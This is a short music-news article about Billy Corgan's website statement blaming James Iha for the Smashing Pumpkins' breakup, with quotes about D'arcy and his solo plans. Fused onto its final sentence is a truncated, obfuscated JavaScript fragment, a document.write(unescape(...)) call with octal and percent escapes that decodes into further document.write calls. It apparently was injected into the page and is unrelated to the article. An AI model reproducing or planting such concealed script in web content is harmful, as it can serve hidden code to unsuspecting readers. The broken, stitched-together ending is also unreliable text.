Billy Corgan reveals all on Pumpkins split

More than three years after the Smashing Pumpkins played their last ever show, former frontman and ex-Zwan mainman Billy Corgan has decided now is the time to tell all about the Pumpkin's demise. Posting on his website he began 'I am going to share some things with you that you have never heard me say.'

'That doesn't mean I'm rewriting history' he explained 'That means that I'm going to tell you the truth about who I am and what I believe in my heart. A lot of things that I have said thru [sic] the years seemed confusing, like I was hiding something, and oftentimes I was. 'Why,' you might ask. Many times I hid things to protect my band mates.'

Around the time of the split, the frontman originally blamed the split on being sick of 'fighting the good fight against the Britneys of the world' But now claims to regret that comment, explaining that 'By saying that, I was seen as someone who was crying foul, taking his ball and going home, which was sad, 'cause it wasn't true at all.'

'The truth of the matter is that James Iha broke up the Smashing Pumpkins. Not me, not Jimmy, but James. Did it help that D'arcy was fired for being a mean-spirited drug addict, who refused to get help? No, that didn't help keep the band together, not at all.'

The frontman described the Pumpkins as 'essentially my entire life... a dream I still believe in.' continuing to say 'Many friends at the time suggested letting James leave, so Jimmy and I could continue on under the name. But I was too loyal to the man I had started the whole thing with, and so I protected him until the very end.'

'We all deserve to flourish, and know happiness and joy. That is my new dream. The Smashing Pumpkins gave me that, and I am eternally grateful.'

Corgan is currently holed up in a studio working on his debut solo album, a DVD of acoustic songs and a book of self-penned poetry.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;